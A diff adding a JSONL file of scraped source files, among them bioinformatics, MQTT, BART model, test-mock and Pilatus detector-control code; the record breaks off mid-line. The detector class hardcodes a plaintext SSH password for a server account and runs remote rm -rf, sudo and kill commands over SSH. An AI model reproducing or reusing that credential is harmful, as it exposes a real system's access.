diff --git "a/2372.jsonl" "b/2372.jsonl" new file mode 100644--- /dev/null +++ "b/2372.jsonl" @@ -0,0 +1,1687 @@ +{"seq_id":"571602792","text":"#!/usr/bin/env python\n#=========================================================================\n# This is OPEN SOURCE SOFTWARE governed by the Gnu General Public\n# License (GPL) version 3, as described at www.opensource.org.\n# Author: William H. Majoros (bmajoros@alumni.duke.edu)\n#=========================================================================\nfrom __future__ import (absolute_import, division, print_function, \n unicode_literals, generators, nested_scopes, with_statement)\nfrom builtins import (bytes, dict, int, list, object, range, str, ascii,\n chr, hex, input, next, oct, open, pow, round, super, filter, map, zip)\n# The above imports should allow this program to run in both Python 2 and\n# Python 3. You might need to update your version of module \"future\".\nimport sys\nimport ProgramName\nfrom FastqReader import FastqReader\n\ndef interpolate(c):\n x=ord(c)-33\n slope=float(73-33)/float(126-34)\n newVal=int(x*slope+33)\n if(newVal<33): raise Exception(newVal)\n if(newVal<33): newVal=33\n if(newVal>73): newVal-73\n #newVal-=33\n return newVal\n\n#=========================================================================\n# main()\n#=========================================================================\nif(len(sys.argv)!=2):\n exit(ProgramName.get()+\" \\n\")\n(infile,)=sys.argv[1:]\n\nreader=FastqReader(infile)\nwhile(True):\n rec=reader.nextSequence()\n if(rec is None): break\n (ID,seq,qual,qualSeq,pair)=rec\n scores=[]\n for x in qualSeq: #alphabet.add(x)\n #scores.append(str(ord(x)-33))\n #scores.append(str(ord(x)))\n #scores.append(str(interpolate(x)))\n scores.append(chr(interpolate(x)))\n #qual=\" \".join(scores)\n qual=\"\".join(scores)\n print(ID,seq,\"+\",qual,sep=\"\\n\")\n\n","sub_path":"recode-quality.py","file_name":"recode-quality.py","file_ext":"py","file_size_in_byte":1767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"306421159","text":"import turtle\r\nt = turtle.Pen()\r\nturtle.bgcolor(\"black\")\r\ncolors = [\"green\", \"red\"]\r\nt.speed(0)\r\nsides = 2\r\nfor x in range(200):\r\n t.pencolor(colors[x % sides])\r\n t.left(360 / sides + 1)\r\n t.forward(x * 3 / sides + x)","sub_path":"ARTIST 5.py","file_name":"ARTIST 5.py","file_ext":"py","file_size_in_byte":226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"456672404","text":"import torch\nfrom torch.nn import CrossEntropyLoss\n\nfrom transformers import AutoModel, AutoConfig\n\n\nCOLUMN_SQL_LABEL_COUNT = 563\nSQL_DIFF_LABEL_COUNT = 120\n\n\nclass BartForContext(torch.nn.Module):\n config_class = AutoConfig\n base_model_prefix = \"bart\"\n\n def __init__(self, config):\n super(BartForContext, self).__init__()\n\n self.bart = AutoModel.from_pretrained(config)\n self.config = AutoConfig.from_pretrained(config)\n self.linear = torch.nn.Linear(self.config.hidden_size, SQL_DIFF_LABEL_COUNT)\n\n def forward(\n self,\n input_ids=None,\n attention_mask=None,\n token_type_ids=None,\n position_ids=None,\n head_mask=None,\n masked_lm_labels=None,\n masked_col_labels=None,\n masked_context_labels=None,\n q_tab_inds=None,\n is_train=True\n ):\n outputs = self.bart(input_ids=input_ids,\n attention_mask=attention_mask,\n decoder_input_ids=masked_context_labels)\n # [batch_size, output_length, hidden_size]\n context_prediction_scores = outputs[0]\n # [batch_size, output_length, sql_diff_label_count]\n context_prediction_scores = self.linear(context_prediction_scores)\n\n total_loss = None\n if masked_context_labels is not None:\n context_loss_fct = CrossEntropyLoss(ignore_index=-1)\n masked_context_loss = context_loss_fct(\n context_prediction_scores.view(-1, SQL_DIFF_LABEL_COUNT), masked_context_labels.view(-1))\n if total_loss is None:\n total_loss = masked_context_loss\n else:\n total_loss += masked_context_loss\n\n if is_train:\n return total_loss\n else:\n return total_loss, context_prediction_scores\n","sub_path":"bart/modeling_bart_context.py","file_name":"modeling_bart_context.py","file_ext":"py","file_size_in_byte":1835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"424395567","text":"import time\nimport paho.mqtt.client as mqtt\nimport json\n\ndef on_connect(client, userdata, flags, rc):\n if rc == 0:\n print(\"Connected success\")\n else:\n print(f\"Connected fail with code {rc}\")\n\ndef parseJsonFile():\n with open(\"detection/result.json\", 'r') as jsonFile:\n data = json.load(jsonFile)\n numberOfPeople = data[\"firstSensor\"][\"Number of People\"]\n brightness = data[\"firstSensor\"][\"Brightness\"]\n movement = data[\"firstSensor\"][\"Movement\"]\n return numberOfPeople, brightness, movement\n\n\nclient = mqtt.Client()\nclient.on_connect = on_connect\nclient.connect(\"broker.emqx.io\", 1883, 60)\n\n\nwhile True:\n time.sleep(2)\n \n #f = open(f\"output/output.jpg\", \"rb\")\n #fileContent = f.read()\n #byteArr = bytes(fileContent)\n \n numberOfPeople, brightness, movement = parseJsonFile()\n \n client.publish('raspberry/numberOfPeople', numberOfPeople, qos = 0, retain = False)\n client.publish('raspberry/brightness', brightness, qos = 0, retain = False)\n client.publish('raspberry/movement', movement, qos = 0, retain = False)\n print(f\"sent topics to raspberry\")\n time.sleep(20)\n\n\nclient.loop_forever()\n","sub_path":"Raspberry/detection/publisher.py","file_name":"publisher.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"1674668","text":"\"\"\"Simple mock responses definitions.\"\"\"\n\nfrom blinkpy.blinkpy import BlinkURLHandler\nimport blinkpy.helpers.constants as const\n\nLOGIN_RESPONSE = {\n 'region': {'mock': 'Test'},\n 'networks': {\n 'summary': {'name': 'TestNetwork'},\n 'networks': [{\n 'name': 'TestNetwork',\n 'account_id': 1111,\n 'id': 2222,\n 'active': 'armed',\n 'armed': True,\n 'arm_string': 'Armed'\n }]\n },\n 'authtoken': {'authtoken': 'foobar123', 'message': 'auth'}\n}\n\n\ndef mocked_requests_post(*args, **kwargs):\n \"\"\"Mock post request.\"\"\"\n class MockPostResponse:\n \"\"\"Class for mock post response.\"\"\"\n\n def __init__(self, json_data, status_code):\n \"\"\"Initialize mock post response.\"\"\"\n self.json_data = json_data\n self.status_code = status_code\n\n def json(self):\n \"\"\"Return json data from post request.\"\"\"\n return self.json_data\n\n url_arg = args[0]\n\n response_to_return = {'message': 'Error', 'code': 404}\n code_to_return = 404\n\n if url_arg == const.LOGIN_URL or url_arg == const.LOGIN_BACKUP_URL:\n response_to_return = LOGIN_RESPONSE\n code_to_return = 200\n elif url_arg is not None:\n response_to_return = {'message': 'foobar', 'code': 200}\n code_to_return = 200\n\n return MockPostResponse(response_to_return, code_to_return)\n\n\ndef mocked_requests_get(*args, **kwargs):\n \"\"\"Mock get request.\"\"\"\n class MockGetResponse:\n \"\"\"Class for mock get response.\"\"\"\n\n def __init__(self, json_data, status_code, raw_data=None):\n \"\"\"Initialize mock get response.\"\"\"\n self.json_data = json_data\n self.status_code = status_code\n self.raw_data = raw_data\n\n def json(self):\n \"\"\"Return json data from get_request.\"\"\"\n return self.json_data\n\n @property\n def raw(self):\n \"\"\"Return raw data from get request.\"\"\"\n return self.raw_data\n\n rx_header = kwargs.pop('headers')\n expected_token = LOGIN_RESPONSE['authtoken']['authtoken']\n if ('Content-Type' not in rx_header\n and rx_header['TOKEN_AUTH'] != expected_token):\n return MockGetResponse({'message': 'Not Authorized', 'code': 400}, 400)\n\n url_arg = args[0]\n\n if url_arg == 'use_bad_response':\n return MockGetResponse({'foo': 'bar'}, 200)\n elif url_arg == 'reauth':\n return MockGetResponse({'message': 'REAUTH', 'code': 777}, 777)\n\n return MockGetResponse({'test': 'foo'}, 200)\n\n\nclass MockURLHandler(BlinkURLHandler):\n \"\"\"Mocks URL Handler in blinkpy module.\"\"\"\n\n pass\n","sub_path":"tests/mock_responses.py","file_name":"mock_responses.py","file_ext":"py","file_size_in_byte":2677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"145349752","text":"class Patato:\n def __init__(self): # 快捷键CTRL+E可以查看原来的.py文件\n self.cook_time = 0 # refactor里面有rename操作\n self.static = '生的'\n self.condiments = []\n\n def cook(self, time):\n self.cook_time += time\n if 0 <= self.cook_time < 3:\n self.static = '生的'\n elif 3 >= self.cook_time < 5:\n self.static = '半生半熟'\n elif 5 <= self.cook_time > 8:\n self.static = '熟的'\n else:\n self.static = '烤糊了'\n\n def add_condiments(self, condiments):\n self.condiments.append(condiments)\n\n def __str__(self):\n return f'这个地瓜烤了{self.cook_time}分钟,当前状态为{self.static},往里' \\\n f'面加了{self.condiments}'\n\n\n# 快捷键 Ctrl + Shift +J 可以使多行变成一行\npatato = Patato()\npatato.cook(2)\nprint(patato)\npatato.add_condiments('酱油')\nprint(patato)\npatato.add_condiments('生抽')","sub_path":"codetest/Patato.py","file_name":"Patato.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"351026214","text":"\"\"\"\nDetector hwobj maintains information about detector.\n\"\"\"\nfrom HardwareRepository.BaseHardwareObjects import Equipment\nimport os\nimport re\nimport logging \nimport paramiko\nimport pexpect\nimport subprocess\nimport gevent\n\nfrom gevent import monkey\nfrom time import sleep\nfrom datetime import datetime\n\n# This was necessary because of paramiko.ssh_exception.SSHException when running the procedure of cleanup\nmonkey.patch_all()\n\nfrom py4syn.epics.PilatusClass import Pilatus\nfrom py4syn.epics.ShutterClass import SimpleShutter\n\n\nTIMEOUT_CAMSERVER_CONNECTION = 120\nTOLERANCE_THRESHOLD = 0.01 # 10 eV\n\n\nclass LNLSDetector(Equipment):\n TRIGGER_MODE = { \"Internal\": 0,\n \"Ext. Enable\": 1,\n \"Ext. Trigger\": 2,\n \"Mult. Trigger\": 3,\n \"Alignment\": 4 }\n \"\"\"\n Descript. : Detector class. Contains all information about detector\n the states are 'OK', and 'BAD'\n the status is busy, exposing, ready, etc.\n the physical property is RH for pilatus, P for rayonix\n \"\"\"\n def __init__(self, name): \n \"\"\"\n Descript. :\n \"\"\" \n Equipment.__init__(self, name)\n\n self.temperature = 23\n self.humidity = 50\n self.tolerance = 0.1\n self.detector_mode = 0\n self.detector_modes_dict = None\n self.detector_collect_name = None\n self.detector_shutter_name = None\n self.temp_treshold = None\n self.hum_treshold = None \n self.exp_time_limits = None\n\n self.wait_threshold = 40 # time to wait for camServer to set Pilatus Threshold\n self.starting_camserver = False\n\n self.distance_motor_hwobj = None\n\n self.chan_temperature = None\n self.chan_humidity = None\n self.chan_status = None\n self.chan_detector_mode = None\n self.chan_frame_rate = None\n\n self.ssh_det = None\n self.ssh_usermx2 = None\n\n def init(self):\n \"\"\"\n Descript. :\n \"\"\"\n # Related hardware objects\n self.distance_motor_hwobj = self.getObjectByRole(\"distance_motor\")\n\n # Related properties\n self.detector_collect_name = self.getProperty(\"collectName\")\n self.detector_shutter_name = self.getProperty(\"shutterName\")\n self.tolerance = self.getProperty(\"tolerance\")\n self.temp_treshold = self.getProperty(\"tempThreshold\") \n self.hum_treshold = self.getProperty(\"humidityThreshold\")\n\n try:\n self.detector_modes_dict = eval(self.getProperty(\"detectorModes\"))\n except:\n pass\n\n # Instantiating a Pilatus device\n self.detector_pilatus = Pilatus('Pilatus', self.pilatusEpicsAddress)\n self.shutter_pilatus = SimpleShutter('ShutterPilatus', self.shutterEpicsAddress, invert=True)\n\n # Connect signals to related objects\n if (self.distance_motor_hwobj):\n self.distance_motor_hwobj.connect('positionChanged', self.detectorDistanceChanged)\n self.distance_motor_hwobj.connect('stateChanged', self.detectorStateChanged)\n\n def get_radius(self):\n \"\"\"\n Descript. : Parameter specific to Detector, from XML\n \"\"\"\n return self.pilatusHalfOfHeight\n\n def get_collect_name(self):\n \"\"\"\n Descript. :\n \"\"\"\n return self.detector_collect_name\n\n def get_shutter_name(self):\n \"\"\"\n Descript. :\n \"\"\"\n return self.detector_shutter_name\n \n def get_distance(self):\n \"\"\"\n Descript. : \n \"\"\"\n if self.distance_motor_hwobj:\n return self.distance_motor_hwobj.getPosition()\n\n def detectorDistanceChanged(self, value):\n self.emit('positionChanged', (value))\n\n def detectorStateChanged(self, value):\n self.emit('stateChanged', (value))\n\n def move_detector_distance(self, distance, wait=False):\n if self.distance_motor_hwobj:\n try:\n self.distance_motor_hwobj.move(absolutePosition=distance, wait=wait)\n except:\n logging.getLogger().exception(\"error while moving detector distance\")\n else:\n logging.getLogger().exception(\"no distance motor configure in detector object!\")\n\n def set_detector_mode(self, mode):\n \"\"\"\n Descript. :\n \"\"\"\n return\n\n def get_detector_mode(self):\n \"\"\"\n Descript. :\n \"\"\"\n return self.detector_mode\n\n def default_mode(self):\n return 1\n\n def get_detector_modes_list(self):\n \"\"\"\n Descript. :\n \"\"\"\n if self.detector_modes_dict is not None:\n return list(self.detector_modes_dict.keys()) \n else:\n return [] \n\n def has_shutterless(self):\n \"\"\"\n Description. :\n \"\"\"\n return self.getProperty(\"hasShutterless\")\n\n def open_shutter(self):\n self.shutter_pilatus.open()\n\n def close_shutter(self):\n self.shutter_pilatus.close()\n\n def shutter_opened(self):\n return self.shutter_pilatus.isOpen()\n\n def get_exposure_time_limits(self):\n \"\"\"\n Description. :\n \"\"\"\n return self.exp_time_limits\n\n def acquire(self):\n \"\"\"\n Description. : Set Acquire PV of Pilatus AreaDetector to 1, then start to acquire\n \"\"\"\n self.detector_pilatus.startCount()\n\n def stop(self):\n \"\"\"\n Description. : Stop the acquisition on Pilatus\n \"\"\"\n self.detector_pilatus.stopCount()\n\n def set_file_path(self, path):\n self.detector_pilatus.setFilePath(path)\n\n def get_file_path(self):\n return self.detector_pilatus.getFilePath()\n\n def set_file_name(self, name):\n self.detector_pilatus.setFileName(name)\n\n def get_file_name(self):\n return self.detector_pilatus.getFileName()\n\n def set_file_template(self, template=\"%s%s\"):\n self.detector_pilatus.setFileTemplate()\n\n def get_file_template(self):\n return self.detector_pilatus.getFileTemplate()\n\n def set_acquire_time(self, time):\n self.detector_pilatus.setCountTime(time)\n\n def get_acquire_time(self):\n return self.detector_pilatus.getAcquireTime()\n\n def set_acquire_period(self, period):\n self.detector_pilatus.setAcquirePeriod(period)\n\n def get_acquire_period(self):\n return self.detector_pilatus.getAcquirePeriod()\n\n\n def set_threshold(self, threshold, wait=True, force=False):\n changed = False \n\n if (force or (threshold < (self.get_threshold() - TOLERANCE_THRESHOLD)) or (threshold > (self.get_threshold() + TOLERANCE_THRESHOLD))):\n logging.getLogger(\"user_level_log\").error('Changing Pilatus threshold to %.3f, please, this should take around 1 minute.' % (threshold))\n\n # Start\n startToChangeThreshold = datetime.now()\n\n self.detector_pilatus.setThreshold(threshold, wait=wait)\n\n # End after set via py4syn...\n endToChangeThreshold = datetime.now()\n # \n deltaTimeThreshold = endToChangeThreshold - startToChangeThreshold\n deltaTimeThreshold = deltaTimeThreshold.total_seconds()\n\n remainingTimeToWait = (self.wait_threshold - deltaTimeThreshold)\n # \n if (remainingTimeToWait > 0):\n if (wait):\n self.wait_setting_threshold(remainingTimeToWait)\n else:\n gevent.spawn(self.wait_setting_threshold, remainingTimeToWait)\n\n changed = True\n\n return changed\n\n\n def wait_setting_threshold(self, timeToWait):\n gevent.sleep(timeToWait)\n # Informing user we finished\n logging.getLogger(\"user_level_log\").info('New Pilatus threshold set to %.3f!' % (self.get_threshold()))\n\n\n def get_threshold(self):\n return self.detector_pilatus.getThreshold()\n\n def set_beam_position(self, position=[0, 0]):\n self.detector_pilatus.setBeamPosition(position)\n\n def get_beam_position(self):\n return self.detector_pilatus.getBeamPosition()\n\n def set_wavelength(self, wavelength):\n self.detector_pilatus.setWavelength(wavelength)\n\n def get_wavelength(self):\n return self.detector_pilatus.getWavelength()\n\n def set_start_angle(self, angle):\n self.detector_pilatus.setStartAngle(angle)\n\n def get_start_angle(self):\n return self.detector_pilatus.getStartAngle()\n\n def set_angle_incr(self, incr):\n self.detector_pilatus.setAngleIncr(incr)\n\n def get_angle_incr(self):\n return self.detector_pilatus.getAngleIncr()\n\n def set_det_dist(self, distance):\n self.detector_pilatus.setDetDist(distance)\n\n def get_det_dist(self):\n return self.detector_pilatus.getDetDist()\n\n def set_num_images(self, num):\n self.detector_pilatus.setNumImages(num)\n\n def get_num_images(self):\n return self.detector_pilatus.getNumImages()\n\n def set_delay_time(self, delay):\n self.detector_pilatus.setDelayTime(delay)\n\n def get_delay_time(self):\n return self.detector_pilatus.getDelayTime()\n\n # mode can be one of LNLSDetector.TRIGGER_MODE options\n def set_trigger_mode(self, mode):\n self.detector_pilatus.setTriggerMode(mode)\n\n def get_trigger_mode(self):\n return self.detector_pilatus.getTriggerMode()\n\n def set_det_2_theta(self, det2theta):\n self.detector_pilatus.setDet2Theta(det2theta)\n\n def get_det_2_theta(self):\n return self.detector_pilatus.getDet2Theta()\n\n def get_pilatus_server_storage_temp(self):\n return self.pilatusServerStorageTemp\n\n def get_pilatus_server_storage(self):\n return self.pilatusServerStorage\n\n def get_camserver_screenshot_name(self):\n return self.camserverScreenshotName\n\n\n def get_readout_per_image(self):\n if (self.readoutPerImage):\n return float(self.readoutPerImage)\n else:\n return 0.0\n\n def is_camserver_connected(self):\n return self.detector_pilatus.isCamserverConnected()\n\n\n def is_starting_camserver(self):\n return self.starting_camserver\n\n\n def is_counting(self):\n return self.detector_pilatus.isCounting()\n\n\n def cleanup_remote_folder(self, folder):\n try:\n # Connect to Pilatus server using defined parameters\n ssh = self.stablishSSHConnection()\n # Send a command to remove entire folder\n stdin, stdout, stderr = ssh.exec_command(\"rm -rf \" + str(folder))\n ssh.close()\n\n if (self.ssh_det is not None):\n self.ssh_det.close()\n self.ssh_det = None\n\n if (self.ssh_usermx2 is not None):\n self.ssh_usermx2.close()\n self.ssh_usermx2 = None\n except:\n error_message = \"Error when trying to cleanup temporary folder on pilatus server...\"\n logging.getLogger().exception(error_message)\n logging.getLogger(\"user_level_log\").error(error_message)\n\n\n def change_file_owner(self, fullFileName, owner):\n try:\n # Connect to Pilatus server using defined parameters\n ssh = self.stablishSSHConnection()\n\n # Send a command to change the owner of folder\n #stdin, stdout, stderr = ssh.exec_command(\"sudo chown %s:domain^users %s\" % (owner, os.path.split(fullFileName)[0]))\n # Send a command to change the owner of file\n stdin, stdout, stderr = self.ssh_det.exec_command(\"sudo chown %s:domain^users %s\" % (owner, fullFileName))\n ssh.close()\n except:\n error_message = \"Error when trying to change owner on pilatus server...\"\n logging.getLogger().exception(error_message)\n logging.getLogger(\"user_level_log\").error(error_message)\n\n\n def change_file_owner_and_move(self, fullFileNameOrig, fullPathDest, owner):\n try:\n # Connect to Pilatus server using defined parameters\n if (self.ssh_det is None):\n self.ssh_det = self.stablishSSHConnection()\n\n # Send a command to change the owner of folder\n #stdin, stdout, stderr = ssh.exec_command(\"sudo chown %s:domain^users %s\" % (owner, os.path.split(fullFileName)[0]))\n # Send a command to change the owner of file\n stdin, stdout, stderr = self.ssh_det.exec_command(\"sudo chown %s:domain^users %s\" % (owner, fullFileNameOrig))\n\n # Wait ps command to complete\n #while not stdout.channel.exit_status_ready():\n # gevent.sleep(0.01)\n\n #ssh.close()\n\n if (self.ssh_usermx2 is None):\n self.ssh_usermx2 = self.stablishSSHConnection(user=\"usermx2\", password=\"B@tatinha123\")\n\n stdin, stdout, stderr = self.ssh_usermx2.exec_command(\"cp %s %s\" % (fullFileNameOrig, fullPathDest))\n\n # Wait ps command to complete\n #while not stdout.channel.exit_status_ready():\n # gevent.sleep(0.01)\n\n # Check that no error occurred, what means that a 'copy' was done\n # print(\"**********************\")\n # print(\"SSH\")\n # print(fullFileNameOrig)\n # print(fullPathDest)\n # print(\"recv_stderr_ready(): \", stdout.channel.recv_stderr_ready())\n # print(\"recv_exit_status(): \", stdout.channel.recv_exit_status())\n # print(\"**********************\")\n result = not stdout.channel.recv_stderr_ready()\n #ssh.close()\n\n return result\n except:\n error_message = \"Error when trying to change owner on pilatus server and copy file...\"\n logging.getLogger().exception(error_message)\n logging.getLogger(\"user_level_log\").error(error_message)\n\n return False\n\n\n def start_camserver_if_not_connected(self):\n if (not self.starting_camserver):\n gevent.spawn(self.process_start_camserver_if_not_connected)\n\n\n def process_start_camserver_if_not_connected(self):\n camserverIsRunning = True\n self.starting_camserver = True\n\n try:\n # Check if Pilatus IOC is not connected before to proceed\n if (not self.is_camserver_connected()):\n error_message = \"CamServer is not running... Trying to start it... Please, wait a while...\"\n logging.getLogger(\"user_level_log\").error(error_message)\n\n # Connect to Pilatus server using defined parameters\n ssh = self.stablishSSHConnection()\n\n # --------------------------------------------------------------\n # Stop previous running 'camserver' through 'xpra'\n # --------------------------------------------------------------\n # First, try to access the camserver and send 'exit' command through 'xpra'\n stdin, stdout, stderr = ssh.exec_command(\"ps -ef | grep %s | grep -v grep\" % (self.camserverXpraProgram))\n\n # Wait ps command to complete\n while not stdout.channel.exit_status_ready():\n gevent.sleep(0.1)\n\n # Check if no error occurred, what means that an 'xpra' process was found\n if (not stdout.channel.recv_exit_status()):\n # Call the method to try stop 'camserver' using 'xpra'...\n self.stop_camserver()\n\n # --------------------------------------------------------------\n # Force any remaining CamServer instance, if any...\n # --------------------------------------------------------------\n self.force_stop_camserver(ssh)\n\n # --------------------------------------------------------------\n # Stop previous running 'xpra' (self.camserverXpraProgram), if any\n # --------------------------------------------------------------\n self.stopXpra(ssh=ssh)\n\n # --------------------------------------------------------------\n # Finally, start a new 'xpra' instance controlling 'camserver' program\n # --------------------------------------------------------------\n # Send a command to start Xpra with camonly script\n #stdin, stdout, stderr = ssh.exec_command(\"dbus-launch xpra --bind-tcp=0.0.0.0:%s --no-daemon --start-child=%s start :%s\" % (self.camserverXpraPort, self.camserverCamonlyProgram, self.camserverXpraDisplay))\n stdin, stdout, stderr = ssh.exec_command(\"dbus-launch xpra --bind-tcp=0.0.0.0:%s --start-child=%s start :%s\" % (self.camserverXpraPort, self.camserverCamonlyProgram, self.camserverXpraDisplay))\n\n gevent.sleep(1)\n\n # Check if xpra was started...\n stdin, stdout, stderr = ssh.exec_command(\"ps -ef | grep %s | grep -v grep\" % (self.camserverXpraProgram))\n\n # Wait ps command to complete\n while not stdout.channel.exit_status_ready():\n gevent.sleep(0.1)\n\n # Check that an error OCCURRED, what means that a 'xpra' process was NOT found\n if (stdout.channel.recv_exit_status()):\n camserverIsRunning = False\n # Inform the problem...\n error_message = \"Error when trying to start \\'%s\\' on pilatus server... %s\" % (self.camserverUniqueName, stderr.read().decode('ascii'))\n logging.getLogger().exception(error_message)\n logging.getLogger(\"user_level_log\").error(\"-------------------------------------------------------------------\")\n logging.getLogger(\"user_level_log\").error(error_message)\n logging.getLogger(\"user_level_log\").error(\"-------------------------------------------------------------------\")\n else:\n # Confirm thad Pilatus AreaDetector connected to CamServer...\n tries = 0\n while (not self.is_camserver_connected() and (tries < TIMEOUT_CAMSERVER_CONNECTION)):\n gevent.sleep(1)\n\n if (self.is_camserver_connected()):\n # Inform user that CamServer has been started!\n info_message = \"Successfully started \\'%s\\' process!\" % (self.camserverUniqueName)\n logging.getLogger(\"user_level_log\").info(\"-------------------------------------------------------------------\")\n logging.getLogger(\"user_level_log\").info(info_message)\n logging.getLogger(\"user_level_log\").info(\"-------------------------------------------------------------------\")\n\n # Then close the connection\n ssh.close()\n\n if (camserverIsRunning):\n # (Re)set threshold on CamServer everytime it is (re)started\n #self.set_threshold(self.get_threshold(), wait=True, force=True)\n self.set_threshold(self.get_threshold(), wait=False, force=True)\n\n # Reset flag to indicate camserver initialization\n self.starting_camserver = False\n except:\n if ssh:\n # Stop SSH connection\n ssh.close()\n\n camserverIsRunning = False\n # Reset flag to indicate camserver initialization\n self.starting_camserver = False\n\n error_message = (\"Error when trying to start \\'%s\\' on pilatus server...\" % (self.camserverUniqueName))\n logging.getLogger().exception(error_message)\n logging.getLogger(\"user_level_log\").error(\"-------------------------------------------------------------------\")\n logging.getLogger(\"user_level_log\").error(error_message)\n logging.getLogger(\"user_level_log\").error(\"-------------------------------------------------------------------\")\n\n # -------------------------------------------------\n # Return if successfully started, it was already running, camserver\n return (camserverIsRunning and self.is_camserver_connected())\n\n def force_stop_camserver(self, ssh):\n stopped = True\n\n try:\n # --------------------------------------------------------------\n # If trying of stop 'camserver' (self.camserverUniqueName) through 'xpra' failed, then kill the processes, if still any\n # --------------------------------------------------------------\n # No 'xpra' process found, or it was not able to send 'exit' command to camserver.\n # Check if no 'camserver' is still running...\n stdin, stdout, stderr = ssh.exec_command(\"ps -ef | grep %s | grep -v grep\" % (self.camserverUniqueName))\n\n # Wait ps command to complete\n while not stdout.channel.exit_status_ready():\n gevent.sleep(0.1)\n\n # Check that no error occurred, what means that a 'camserver' process was found\n if (not stdout.channel.recv_exit_status()):\n # Parse returned processes\n process_list = stdout.read().decode('ascii').split('\\n')\n\n # If exist any processing 'camserver', force stopping all of them using 'kill'\n if (len(process_list) > 1):\n stdin, stdout, stderr = ssh.exec_command(\"ps -ef | grep %s | grep -v grep | awk {\\'print $2\\'} | xargs kill -s 2\" % (self.camserverUniqueName))\n # Wait ps command to complete\n while not stdout.channel.exit_status_ready():\n gevent.sleep(0.1)\n\n # Check if some error occurred\n if (stdout.channel.recv_exit_status()):\n stopped = False\n error_message = \"Error when trying to kill \\'%s\\' processes! %s\" % (self.camserverUniqueName, stderr.read().decode('ascii'))\n logging.getLogger().exception(error_message)\n logging.getLogger(\"user_level_log\").error(error_message)\n else:\n error_message = \"No existing \\'%s\\' process running! %s\" % (self.camserverUniqueName, stderr.read().decode('ascii'))\n logging.getLogger().exception(error_message)\n except:\n logging.getLogger().exception(\"Exception when forcing camserver to stop!\")\n stopped = False\n\n return stopped\n\n def stop_camserver(self, image_path=\".\"):\n stopped = False\n\n try:\n # Getting the execution of camserver on remote Pilatus server to be displayed locally\n pexpt_xpra = pexpect.spawn(\"xpra attach tcp:%s:%s\" % (self.pilatusServerIP, self.camserverXpraPort))\n # Using Wmctrl command to get display where camserver is running locally\n display = subprocess.check_output(\"wmctrl -lp | grep \\'%s\\' | awk \\'{print $1}\\'\" % (self.camserverUniqueName), shell=True)\n display = display.decode('ascii').split('\\n')[0]\n\n # Connect to Pilatus server using defined parameters\n ssh = self.stablishSSHConnection()\n\n # Check that a display was found...\n if (display):\n # Write the exit command on camserver terminal\n os.system(\"xdotool windowfocus --sync %s; xdotool type \\'%s\\'; xdotool key KP_Enter\" % (display, self.camserverExitCommand))\n # Take a screenshot...\n self.takeScreenshotOfXpraRunningProcess(image_path=image_path)\n # Wait a while and retry the exit command, because more than one terminal could be running\n gevent.sleep(0.1)\n os.system(\"xdotool windowfocus --sync %s; xdotool type \\'%s\\'; xdotool key KP_Enter\" % (display, self.camserverExitCommand))\n\n stopped = True\n else:\n # --------------------------------------------------------------\n # Force any remaining CamServer instance, if any...\n # --------------------------------------------------------------\n stopped = self.force_stop_camserver(ssh)\n\n # Send Ctrl+C to Xpra and detach from remote display\n pexpt_xpra.send(\"\\003\")\n # Stop Pexpect connection\n pexpt_xpra.close()\n\n # --------------------------------------------------------------\n # Try to stop xpra running on Pilatus server\n # --------------------------------------------------------------\n # Call a procedure to stop xpra...\n self.stopXpra(ssh=ssh)\n # Then close the connection\n ssh.close()\n\n except:\n if pexpt_xpra:\n # Stop Pexpect connection\n pexpt_xpra.close()\n\n if ssh:\n # Stop SSH connection\n ssh.close()\n\n error_message = \"Error when trying to stop camserver on pilatus server...\"\n logging.getLogger().exception(error_message)\n logging.getLogger(\"user_level_log\").error(error_message)\n\n # Inform if had a chance to send 'exit' command through the display\n return stopped\n\n\n def stopXpra(self, ssh):\n # --------------------------------------------------------------\n # Stop previous running 'xpra' (self.camserverXpraProgram), if any\n # --------------------------------------------------------------\n # Check if no 'xpra' is running\n stdin, stdout, stderr = ssh.exec_command(\"ps -ef | grep %s | grep -v grep\" % (self.camserverXpraProgram))\n\n # Wait ps command to complete\n while not stdout.channel.exit_status_ready():\n gevent.sleep(0.1)\n\n # Check that no error occurred, what means that a 'xpra'process was found\n if (not stdout.channel.recv_exit_status()):\n # Send a command to stop Xpra sessions\n stdin, stdout, stderr = ssh.exec_command(\"xpra stop\")\n\n # Wait ps command to complete\n while not stdout.channel.exit_status_ready():\n gevent.sleep(0.1)\n\n # Check if any error occurred...\n if (stdout.channel.recv_exit_status()):\n # Check if any xpra is still running...\n stdin, stdout, stderr = ssh.exec_command(\"ps -ef | grep %s | grep -v grep\" % (self.camserverXpraProgram))\n\n # Wait ps command to complete\n while not stdout.channel.exit_status_ready():\n gevent.sleep(0.1)\n\n # Check that no error occurred, what means that a 'xpra' process was found\n if (not stdout.channel.recv_exit_status()):\n # Force 'xpra' to stop through 'kill'...\n stdin, stdout, stderr = ssh.exec_command(\"ps -ef | grep %s | grep -v grep | awk {\\'print $2\\'} | xargs kill -s 2\" % (self.camserverXpraProgram))\n\n # Wait ps command to complete\n while not stdout.channel.exit_status_ready():\n gevent.sleep(0.1)\n\n # Check if some error beam_crystal_position\n if (stdout.channel.recv_exit_status()):\n error_message = \"Error when trying to kill running \\'%s\\' processes! %s\" % (self.camserverXpraProgram, stderr.read().decode('ascii'))\n logging.getLogger().exception(error_message)\n logging.getLogger(\"user_level_log\").error(error_message)\n else:\n error_message = \"Previous \\'%s\\' process was successfully stopped!\" % (self.camserverXpraProgram)\n logging.getLogger().exception(error_message)\n else:\n error_message = \"No existing \\'%s\\' process running! %s\" % (self.camserverXpraProgram, stderr.read().decode('ascii'))\n logging.getLogger().exception(error_message)\n\n\n def takeScreenshotOfXpraRunningProcess(self, image_path='.', run_number=\"1\", image_extension='.png'):\n try:\n # Connect to Pilatus server using defined parameters\n ssh = self.stablishSSHConnection()\n\n # Guarantee unique names of images\n fileName = self.createUniqueFileName(name=os.path.join(image_path, self.camserverScreenshotName + \"_\" 